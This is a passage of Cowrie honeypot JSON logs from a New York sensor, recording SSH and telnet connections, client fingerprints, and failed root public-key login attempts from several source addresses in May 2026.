{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:f9:b6:ae:be:02:80:df:29:9d:d0:6a:66:bd:bd:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3V26BK6F6pWJl/yU4PG53yLgVxN56LzsQOiOc4naaVDSvbXp2vtYm1B6I5/OpdGv8Piu9PjL+KFVQhrrlPv4JKJ/2t0RQIyLonOWLztqDtNu72yxVPV7/1yePY9gA4cs8etmBDKfGT7AvfNmKmr9eSED+rb/l+FntX6G9qmR+zE3Wvaps2xMDGzxkrEBItIVvtzwZ3vDC1ZmXmBn6HtPIoCaHgVtyw0iayTEypzYlHhooOYiCPGJ4mag6XbefcAXVyLunv46hzG8G0D3xGFjYBhJ269OX8KtZp+BWmXLFXNg59zIInu70fs2dPAY9e572LkgkZLsJRnu7drs8HBBB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:f9:b6:ae:be:02:80:df:29:9d:d0:6a:66:bd:bd:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.665428Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:f9:b6:ae:be:02:80:df:29:9d:d0:6a:66:bd:bd:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3V26BK6F6pWJl/yU4PG53yLgVxN56LzsQOiOc4naaVDSvbXp2vtYm1B6I5/OpdGv8Piu9PjL+KFVQhrrlPv4JKJ/2t0RQIyLonOWLztqDtNu72yxVPV7/1yePY9gA4cs8etmBDKfGT7AvfNmKmr9eSED+rb/l+FntX6G9qmR+zE3Wvaps2xMDGzxkrEBItIVvtzwZ3vDC1ZmXmBn6HtPIoCaHgVtyw0iayTEypzYlHhooOYiCPGJ4mag6XbefcAXVyLunv46hzG8G0D3xGFjYBhJ269OX8KtZp+BWmXLFXNg59zIInu70fs2dPAY9e572LkgkZLsJRnu7drs8HBBB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.669365Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44252,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3cf9e42a35","protocol":"telnet","message":"New connection: 50.6.8.71:44252 (10.17.0.5:23) [session: 3b3cf9e42a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.755394Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:05:df:fa:80:38:81:cd:34:9b:5f:51:08:97:10:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe8AMinmRdBWisdYEFBO1q1yfGInwlK65XB9CsgBNxpY8Av7O7aw13kBZCyO1p/IOCH5dCVCxV0neSvq0tPckqToncr8K7MdCb9KmeXyxG/UgSW7vAhKXk2sKIqq/odr6LuPxVIjvCy3ryQnwW0v6pT0w5DCcz6SjJGCdde0ohAN3Dbs9iamPO8K8NMJL/AQnmeumH3q2A8c1tpR0uUwbPhvtXSvHrNuKCERO/CNS4rOGW2zjeNhxpbJU58ToTKA4W1q888EQUcwWckMuzoRZQ63pQREC/LLAbZRiETML8nTeqJ0Rv+NMcBZgmDqApeD9UrJ9QKQggaJtFmXYQqepZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:05:df:fa:80:38:81:cd:34:9b:5f:51:08:97:10:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.823810Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:05:df:fa:80:38:81:cd:34:9b:5f:51:08:97:10:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe8AMinmRdBWisdYEFBO1q1yfGInwlK65XB9CsgBNxpY8Av7O7aw13kBZCyO1p/IOCH5dCVCxV0neSvq0tPckqToncr8K7MdCb9KmeXyxG/UgSW7vAhKXk2sKIqq/odr6LuPxVIjvCy3ryQnwW0v6pT0w5DCcz6SjJGCdde0ohAN3Dbs9iamPO8K8NMJL/AQnmeumH3q2A8c1tpR0uUwbPhvtXSvHrNuKCERO/CNS4rOGW2zjeNhxpbJU58ToTKA4W1q888EQUcwWckMuzoRZQ63pQREC/LLAbZRiETML8nTeqJ0Rv+NMcBZgmDqApeD9UrJ9QKQggaJtFmXYQqepZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.828102Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:22:c1:54:4d:cc:dc:e3:d6:ac:d7:b0:14:92:9a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkddnGqIt4RxVWP8vzKNvfkIAzSMLB17NwAabybXImJI7IvyvCxaxx4Mzk4p6IQ4hcMvqpotLb2Fcf+rwAEKh+iwxlX38Sr4Hss6sMYbGG08CiNZR/i9tZXIs3zPLDjCllzRPiCZUbC97yZP5B9bLG27Ir6JVGPZT1qMLOHYpWo5R95HtO4aizlnoFxvrlkww10UVZ4oPqSInyhjZmPCqT5eMJ5tffklZX4LginNZNF4cyFWf+CK3/Px7sDmy266VpkcKua5acUUt/qUwoEE/Z6eRyGZl4FeNJc+e17/jToA6Ip1EBEULtW07BXNm6ebNCmXzzRs40JF8uUo3yjUKZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:22:c1:54:4d:cc:dc:e3:d6:ac:d7:b0:14:92:9a:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.982974Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:22:c1:54:4d:cc:dc:e3:d6:ac:d7:b0:14:92:9a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkddnGqIt4RxVWP8vzKNvfkIAzSMLB17NwAabybXImJI7IvyvCxaxx4Mzk4p6IQ4hcMvqpotLb2Fcf+rwAEKh+iwxlX38Sr4Hss6sMYbGG08CiNZR/i9tZXIs3zPLDjCllzRPiCZUbC97yZP5B9bLG27Ir6JVGPZT1qMLOHYpWo5R95HtO4aizlnoFxvrlkww10UVZ4oPqSInyhjZmPCqT5eMJ5tffklZX4LginNZNF4cyFWf+CK3/Px7sDmy266VpkcKua5acUUt/qUwoEE/Z6eRyGZl4FeNJc+e17/jToA6Ip1EBEULtW07BXNm6ebNCmXzzRs40JF8uUo3yjUKZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.987383Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:16.143372Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f51dc389ea","protocol":"telnet","message":"New connection: 50.6.8.71:57730 (10.17.0.5:23) [session: 45f51dc389ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:21.119391Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8294985e74f2","protocol":"telnet","message":"New connection: 50.6.8.71:57746 (10.17.0.5:23) [session: 8294985e74f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:25.675807Z"}
{"eventid":"cowrie.session.closed","duration":31.311148166656494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:32.004385Z","src_ip":"50.6.8.71","session":"e2d1bd0a0e75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.19435000419617,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:32.783791Z","src_ip":"50.6.8.71","session":"eee759218f63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.189.225","src_port":55226,"dst_ip":"10.17.0.5","dst_port":22,"session":"2166d569c760","protocol":"ssh","message":"New connection: 62.210.189.225:55226 (10.17.0.5:22) [session: 2166d569c760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.005978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.011667Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.093177Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:37:66:35:17:c0:3f:7f:3c:4a:3b:4b:f3:19:f1:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK9ihGGS/VIXr7y8K8ewn/Zt/DwxCXqdT3oCyUbk0GsnDcxroy9Y9RxwK9g1xb6PvZO6epnjrsRj6UOt1w9eRYcbhkho18fKFsarIvOkqzm3B8guHT5eimUJ/ozQmQx3mP5X7MpqqocCkddxVW9r7rpgz+H3dCbzoAb9OelTe55hHhX3zl3oOMDcsaS5Wvt6NJXzuYq+yVIlu7t37kBPD4xs+wNTiGG6b3UWSHmb/phuLPu1BE16GaiOL2oCzLkd+d0Jup+IJqJaSJV9k6AMMtGQeS5bVbX88lyeX+R4u7txX7fJyPMcUnVHF6tpepn0emVG/M22Cfj8yZOfvl6e612BPon9LA/pBY5CqDbQXqp0XsBqPlFpHatzoyUnQjm1eTinpDOCjkuUZJS7NCjHiebPSzriPydE8pSakMTEp2w6VNT0ZFyamMZi90E+aJUL24tOXwi/gV48Q0g69RT/ApAOEfEnZ/WmmN040EZ7b9MLNVP+/PGuU5JVvr9mEwLdiqYpXOQzvwbOQfiga9KUqWMsFnPTsgnRE/ArkoCHQjCvr7MCRpgxyKNJ3Fw1oF1PYfZe6zYH9QveWGLsTbsLG2xxY0J+sgX/ak1/V9jxQdQg7tTpBAhz5IHbHXdryFAaZ1JVk911fKV3q1rgLBlBI+dD2Ui1Ol0+9dhZQsv6n/jQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:37:66:35:17:c0:3f:7f:3c:4a:3b:4b:f3:19:f1:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.475432Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:37:66:35:17:c0:3f:7f:3c:4a:3b:4b:f3:19:f1:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK9ihGGS/VIXr7y8K8ewn/Zt/DwxCXqdT3oCyUbk0GsnDcxroy9Y9RxwK9g1xb6PvZO6epnjrsRj6UOt1w9eRYcbhkho18fKFsarIvOkqzm3B8guHT5eimUJ/ozQmQx3mP5X7MpqqocCkddxVW9r7rpgz+H3dCbzoAb9OelTe55hHhX3zl3oOMDcsaS5Wvt6NJXzuYq+yVIlu7t37kBPD4xs+wNTiGG6b3UWSHmb/phuLPu1BE16GaiOL2oCzLkd+d0Jup+IJqJaSJV9k6AMMtGQeS5bVbX88lyeX+R4u7txX7fJyPMcUnVHF6tpepn0emVG/M22Cfj8yZOfvl6e612BPon9LA/pBY5CqDbQXqp0XsBqPlFpHatzoyUnQjm1eTinpDOCjkuUZJS7NCjHiebPSzriPydE8pSakMTEp2w6VNT0ZFyamMZi90E+aJUL24tOXwi/gV48Q0g69RT/ApAOEfEnZ/WmmN040EZ7b9MLNVP+/PGuU5JVvr9mEwLdiqYpXOQzvwbOQfiga9KUqWMsFnPTsgnRE/ArkoCHQjCvr7MCRpgxyKNJ3Fw1oF1PYfZe6zYH9QveWGLsTbsLG2xxY0J+sgX/ak1/V9jxQdQg7tTpBAhz5IHbHXdryFAaZ1JVk911fKV3q1rgLBlBI+dD2Ui1Ol0+9dhZQsv6n/jQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.479464Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:01:c9:4b:53:28:00:c3:af:ba:a5:6f:70:68:e3:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq/rn6cUjlEfoovmg2C1V8CpUaMaqZJCCxxqioId6BUMGwf2BmZDDYbPlgZsBt5xDZn2g+svvzSWtOd+3l6/wezJZL4CTG0ya3vHIXekm7FRdoTZHKHRrWfuFrzxTFtnWAHFXCON0eW1YA9pKxm69DeM4DuFRMtFlwbjrSIXAc17GlkbmTOWL9OJArJLnwbT3bVyxAFhwKUnEyiglUfa/623QcF9E33tjRWJp0e7ABSD2jrEoYEGXVOTbw2hMuqJo8Oylzr7NxAV+CsXq86y7p6hcSG1FFVAQ9ew7u9Xqykgkfyj5G+jPSv+WueaHbZAk5aV3JoNbDAJ2cfHn/PbAj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:01:c9:4b:53:28:00:c3:af:ba:a5:6f:70:68:e3:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.561026Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:01:c9:4b:53:28:00:c3:af:ba:a5:6f:70:68:e3:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq/rn6cUjlEfoovmg2C1V8CpUaMaqZJCCxxqioId6BUMGwf2BmZDDYbPlgZsBt5xDZn2g+svvzSWtOd+3l6/wezJZL4CTG0ya3vHIXekm7FRdoTZHKHRrWfuFrzxTFtnWAHFXCON0eW1YA9pKxm69DeM4DuFRMtFlwbjrSIXAc17GlkbmTOWL9OJArJLnwbT3bVyxAFhwKUnEyiglUfa/623QcF9E33tjRWJp0e7ABSD2jrEoYEGXVOTbw2hMuqJo8Oylzr7NxAV+CsXq86y7p6hcSG1FFVAQ9ew7u9Xqykgkfyj5G+jPSv+WueaHbZAk5aV3JoNbDAJ2cfHn/PbAj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.564857Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:4d:c5:cf:8f:44:1a:cc:67:1c:4e:66:cb:9e:77:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDou5Dw83oXW8JmmTz4+N9ZwunfVdCthi5007y3534YvEZOMjnP3W6kSheWGfqbTLVOAMveogf0MOluPS401WS3Hc+Po8CBd6c9iQdu9fZhVsMJKD3gKwtSv8bq8nRJDV6oKtx8MHMIFa6rLRDUAjuuhotbCYgqNl20YlkgHvy1ee8uXHPLyQlI2YQ7BHMQEUqFID3OTmGccEtjeQb4E3IDXY+yBd3IsUmGM8Gm3xJmJeVQP4Vik5KvNqfnvFZsRl+YIY5+jg/wCfZWjXsmgCHJsM1WS6+KaucNa+3tiCKMW0sSExICyTrBV5g8mTLx00LgHrAn/O08kRYI6aAvqUW5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:4d:c5:cf:8f:44:1a:cc:67:1c:4e:66:cb:9e:77:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.646505Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:4d:c5:cf:8f:44:1a:cc:67:1c:4e:66:cb:9e:77:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDou5Dw83oXW8JmmTz4+N9ZwunfVdCthi5007y3534YvEZOMjnP3W6kSheWGfqbTLVOAMveogf0MOluPS401WS3Hc+Po8CBd6c9iQdu9fZhVsMJKD3gKwtSv8bq8nRJDV6oKtx8MHMIFa6rLRDUAjuuhotbCYgqNl20YlkgHvy1ee8uXHPLyQlI2YQ7BHMQEUqFID3OTmGccEtjeQb4E3IDXY+yBd3IsUmGM8Gm3xJmJeVQP4Vik5KvNqfnvFZsRl+YIY5+jg/wCfZWjXsmgCHJsM1WS6+KaucNa+3tiCKMW0sSExICyTrBV5g8mTLx00LgHrAn/O08kRYI6aAvqUW5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.650136Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:e0:52:0b:df:13:e1:a3:c4:5f:dd:cb:10:1a:e9:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDaPYHXHrzHNCq0OhOPE/UfGHl8gZUybHhTHEtS+oGCqGs1eCQWT7bkJZXAFxav39aTozpa9LA2oavqYjlfF2ASxtN7L8eYqcTMCpv2IxOMA5YaYrmHQ2P8fXiwPCbMoNuA1du6XtTwtszn98vzvUd38jbB13urm2kzcvLRQRQ3iQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:e0:52:0b:df:13:e1:a3:c4:5f:dd:cb:10:1a:e9:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.733829Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:e0:52:0b:df:13:e1:a3:c4:5f:dd:cb:10:1a:e9:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDaPYHXHrzHNCq0OhOPE/UfGHl8gZUybHhTHEtS+oGCqGs1eCQWT7bkJZXAFxav39aTozpa9LA2oavqYjlfF2ASxtN7L8eYqcTMCpv2IxOMA5YaYrmHQ2P8fXiwPCbMoNuA1du6XtTwtszn98vzvUd38jbB13urm2kzcvLRQRQ3iQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.737561Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:e2:f4:a3:38:68:f6:b0:4f:8a:91:9c:10:ca:be:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyspHdbXapLazwPq2tzHV44RIO4+AunyxvQRgga0pLZENbCSvutwK8I5sxMgw2vAXj3oRGKdlAAVl7mrZPC+AGhKpXTvnAmuo2xmhm6RqVJQy+cfeMM2XA4qbDWLuFLQQJprNLy0xNBv5ST2rzlavS2dgyFSybqjf3jCRjUERiApZQBNV7gjoiocuEKFk6X2dxsbx5cZCokddTpJd72HQtOtZDn2ow1exMkGMjdoM95RKmxRc5jyVtsCNm1cpfbGkS8H1K/eE3JpIwKHQWims3BxaM6hcpvdoCiszog0B7Eyvba35YdD6iVsVXlHQkhZjtBD5jwbJ3yNh5QNeWPpisPWVh6jKNvtlKA7i4jAqMu/oO1NoN5npBdNJ0KGcaOouTm8jrp+YDiCsXIV2UYld/s3ufANpD9vwS8B4/N++0ascuRATSlYyyXyga30R8Vy99SW5CMP0Dq8/5bXYEhqxO+TSgR4EWOgd+FVjW3hBZfssV5sz06YkZ/TskXxu/rWqVyJRcLrv5Uv5q7aGfzKV6yoiziCDhuBI10apzJ9ESr31IC/2ii3lrIJR9aCCYUOdDoaMvK/qB55Geop8ti7HBEbOz0Ag6VcnmNlauOZvCxKiSKCqAvBnIIHicEHhVVtQVuzNnoyxu0SCNIkrVDPnylnhqhtfpQUzzdbMk/zIphw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:e2:f4:a3:38:68:f6:b0:4f:8a:91:9c:10:ca:be:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.819364Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:e2:f4:a3:38:68:f6:b0:4f:8a:91:9c:10:ca:be:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyspHdbXapLazwPq2tzHV44RIO4+AunyxvQRgga0pLZENbCSvutwK8I5sxMgw2vAXj3oRGKdlAAVl7mrZPC+AGhKpXTvnAmuo2xmhm6RqVJQy+cfeMM2XA4qbDWLuFLQQJprNLy0xNBv5ST2rzlavS2dgyFSybqjf3jCRjUERiApZQBNV7gjoiocuEKFk6X2dxsbx5cZCokddTpJd72HQtOtZDn2ow1exMkGMjdoM95RKmxRc5jyVtsCNm1cpfbGkS8H1K/eE3JpIwKHQWims3BxaM6hcpvdoCiszog0B7Eyvba35YdD6iVsVXlHQkhZjtBD5jwbJ3yNh5QNeWPpisPWVh6jKNvtlKA7i4jAqMu/oO1NoN5npBdNJ0KGcaOouTm8jrp+YDiCsXIV2UYld/s3ufANpD9vwS8B4/N++0ascuRATSlYyyXyga30R8Vy99SW5CMP0Dq8/5bXYEhqxO+TSgR4EWOgd+FVjW3hBZfssV5sz06YkZ/TskXxu/rWqVyJRcLrv5Uv5q7aGfzKV6yoiziCDhuBI10apzJ9ESr31IC/2ii3lrIJR9aCCYUOdDoaMvK/qB55Geop8ti7HBEbOz0Ag6VcnmNlauOZvCxKiSKCqAvBnIIHicEHhVVtQVuzNnoyxu0SCNIkrVDPnylnhqhtfpQUzzdbMk/zIphw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.823444Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:46.906072Z","src_ip":"62.210.189.225","session":"2166d569c760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.461756706237793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:47.217012Z","src_ip":"50.6.8.71","session":"3b3cf9e42a35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.36338472366333,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:55.482591Z","src_ip":"50.6.8.71","session":"45f51dc389ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.64.97.1","src_port":43650,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d29cc8a6a8","protocol":"telnet","message":"New connection: 196.64.97.1:43650 (159.203.135.109:23) [session: e5d29cc8a6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:00.965024Z"}
{"eventid":"cowrie.session.closed","duration":37.96995687484741,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:03.645656Z","src_ip":"50.6.8.71","session":"8294985e74f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.2066171169281,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:15.171538Z","src_ip":"196.64.97.1","session":"e5d29cc8a6a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33874,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c18fa46cc8a","protocol":"ssh","message":"New connection: 80.94.92.184:33874 (159.203.135.109:22) [session: 8c18fa46cc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:20.967680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:21.166769Z","src_ip":"80.94.92.184","session":"8c18fa46cc8a","protocol":"ssh"}
